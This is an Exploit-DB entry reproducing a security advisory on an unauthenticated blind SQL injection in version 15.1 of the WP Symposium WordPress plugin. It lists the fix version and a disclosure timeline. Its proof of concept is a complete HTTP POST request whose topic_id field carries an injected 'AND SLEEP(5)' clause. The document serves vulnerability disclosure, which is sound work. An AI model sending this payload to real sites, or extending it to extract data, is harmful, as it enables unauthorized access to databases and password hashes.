WordPress WP Symposium Plugin 15.1 - Blind SQL Injection

ID EDB-ID:37822
Type exploitdb
Reporter dxw
Modified 2015-08-18T00:00:00


WordPress WP Symposium Plugin 15.1 - Blind SQL Injection. Webapps exploit for php platform

Software: WP Symposium
Version: 15.1
Homepage: https://wordpress.org/plugins/wp-symposium
Advisory report: https://security.dxw.com/advisories/blind-sql-injection-in-wp-symposium-allows-unauthenticated-attackers-to-access-sensitive-data/
CVE: Awaiting assignment
CVSS: 6.4 (Medium; AV:N/AC:L/Au:N/C:P/I:N/A:P)

Blind SQL Injection in WP Symposium allows unauthenticated attackers to access sensitive data

An unauthenticated user can run blind sql injection of the site and extract password hashes and other information from the database.

Proof of concept
Perform the following POST to a site with the plugin installed. The request will take over 5 seconds to respond:
POST /wordpress/wp-content/plugins/wp-symposium/ajax/forum_functions.php HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:36.0) Gecko/20100101 Firefox/36.0
Accept: text/html, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 51
Cookie: wp-settings-1=libraryContent%3Dbrowse%26editor%3Dtinymce; wp-settings-time-1=1421717320
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
action=getTopic&topic_id=1 AND SLEEP(5)&group_id=0

Upgrade to version 15.8 or later

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This vulnerability will be published if we do not receive a response to this report with 14 days.

2015-03-02: Discovered
2015-07-14: Reported to simon@wpsymposium.com
2015-07-14: Requested CVE
2015-08-07: Vendor confirmed fixed in version 15.8
2015-08-10: Published

Discovered by dxw:
Glyn Wintle
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